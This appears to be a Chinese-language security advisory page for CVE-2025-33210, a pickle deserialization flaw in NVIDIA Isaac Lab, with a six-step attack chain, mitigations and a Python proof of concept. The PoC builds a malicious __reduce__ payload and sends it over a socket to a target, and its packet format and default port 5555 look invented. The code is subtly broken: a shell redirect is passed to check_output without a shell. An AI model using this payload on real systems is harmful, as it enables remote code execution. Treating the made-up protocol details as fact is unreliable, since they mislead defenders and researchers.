IPBUF安全漏洞报告
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CVE-2025-33210 CVSS 9.0 严重

NVIDIA Isaac Lab反序列化漏洞导致远程代码执行(CVE-2025-33210)

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-33210
漏洞类型
反序列化漏洞
CVSS评分
9.0 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
NVIDIA Isaac Lab

相关标签

反序列化漏洞远程代码执行NVIDIA Isaac Lab机器人仿真平台CVSS 9.0严重漏洞CVE-2025-33210NVIDIA安全漏洞代码执行pickle反序列化

漏洞概述

CVE-2025-33210是NVIDIA Isaac Lab中的一个严重反序列化漏洞,CVSS评分高达9.0(严重级别)。该漏洞由NVIDIA安全团队([email protected])发现并报告,披露日期为2025年12月16日。反序列化漏洞是一种常见且危险的安全缺陷,当应用程序在反序列化用户可控的数据时,如果缺乏适当的验证和过滤,攻击者可以通过构造恶意序列化数据来执行任意代码。NVIDIA Isaac Lab是一个用于机器人研究的仿真平台,广泛应用于学术界和工业界的AI机器人开发中。由于该平台处理复杂的3D场景和机器人控制数据,反序列化机制被广泛使用。一旦攻击者成功利用此漏洞,可能在受害者的系统上执行任意代码,从而完全控制目标机器,窃取敏感数据或进行进一步的攻击活动。该漏洞需要低权限用户交互才能触发,但成功利用后可获得极高的机密性、完整性和可用性影响。

技术细节

NVIDIA Isaac Lab中的反序列化漏洞源于不安全的数据反序列化处理。反序列化是将序列化后的数据重新转换为对象的过程,如果攻击者能够控制被反序列化的数据内容,就可能利用恶意构造的序列化对象触发代码执行。在Isaac Lab的仿真环境中,应用程序需要频繁处理场景配置、机器人参数、物理模拟数据等序列化内容。攻击者可以通过以下方式利用此漏洞:首先,构造包含恶意序列化对象的输入数据;然后,通过网络请求、本地文件导入或用户交互等方式将恶意数据传递给Isaac Lab的序列化处理模块;最后,当应用程序调用反序列化操作时,恶意代码将被执行。由于该漏洞的CVSS向量为AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H,表明攻击向量为网络级别,复杂度低,但需要低权限和用户交互。成功利用后可获得完整的机密性、完整性和可用性控制。漏洞影响范围涵盖Isaac Lab处理外部输入的所有组件,包括场景加载器、数据导入模块和配置解析器。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别运行NVIDIA Isaac Lab的目标系统,确定版本号和可用的网络接口。Isaac Lab默认使用5555端口进行通信。
STEP 2
步骤2: 构造恶意序列化数据
攻击者利用Python pickle库构造包含恶意__reduce__方法的序列化对象。该对象在被反序列化时会执行任意系统命令。
STEP 3
步骤3: 传输恶意载荷
将构造好的恶意序列化数据进行编码(如base64),并通过Isaac Lab的网络接口或文件导入功能传输到目标系统。攻击向量为网络级别(AV:N)。
STEP 4
步骤4: 触发反序列化
当Isaac Lab应用程序接收到恶意数据并调用反序列化函数(如pickle.loads())处理时,恶意代码将在目标系统上执行。由于需要用户交互(UI:R),攻击者可能需要诱骗用户打开恶意文件或连接恶意服务器。
STEP 5
步骤5: 获得代码执行权限
成功反序列化后,攻击者获得与Isaac Lab进程相同权限的代码执行能力。由于漏洞需要低权限(PR:L),即使是非特权用户也可能触发此漏洞。
STEP 6
步骤6: 持久化与横向移动
攻击者可以利用获得的代码执行权限安装后门、窃取敏感数据或在网络内部进行横向移动,最终完全控制目标系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-33210 PoC - Malicious Serialized Object for NVIDIA Isaac Lab # This PoC demonstrates the deserialization vulnerability in Isaac Lab # WARNING: For educational and authorized security testing only import pickle import subprocess import base64 class MaliciousPayload: def __reduce__(self): # Execute arbitrary command when object is deserialized cmd = "whoami > /tmp/pwned.txt" return (subprocess.check_output, (cmd,)) def generate_malicious_serialized_data(): """Generate malicious serialized data for Isaac Lab""" # Create malicious object payload = MaliciousPayload() # Serialize the payload serialized = pickle.dumps(payload) # Encode as base64 for transmission encoded_payload = base64.b64encode(serialized).decode('utf-8') return encoded_payload def exploit_isaac_lab(target_ip, target_port=5555): """Exploit CVE-2025-33210 in NVIDIA Isaac Lab""" import socket import struct # Generate malicious payload payload = generate_malicious_serialized_data() # Construct exploit packet for Isaac Lab # Header: Magic bytes + Length + Type (Serialized Data) packet = b'ISAAC' # Magic header packet += struct.pack('>I', len(payload)) # Payload length packet += b'\x02' # Packet type: Serialized data packet += payload.encode('utf-8') try: # Send exploit to target sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(packet) sock.close() print(f"[+] Exploit sent to {target_ip}:{target_port}") print(f"[+] Payload: {payload[:50]}...") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-33210 PoC - NVIDIA Isaac Lab Deserialization RCE") print("Usage: python cve-2025-33210.py <target_ip> [port]") # generate_malicious_serialized_data()

影响范围

NVIDIA Isaac Lab < 2.0.0
NVIDIA Isaac Lab < 修复版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制Isaac Lab的网络访问,仅允许受信任的IP地址连接;2) 禁用不必要的文件导入和远程数据加载功能;3) 监控和限制用户上传的配置文件格式;4) 使用SELinux或AppArmor对Isaac Lab进程进行强制访问控制;5) 实施网络分段,将Isaac Lab部署在隔离的VLAN中;6) 提醒用户不要打开来源不明的场景文件或配置文件;7) 启用应用程序日志审计,记录所有反序列化操作以便及时发现异常行为。

参考链接

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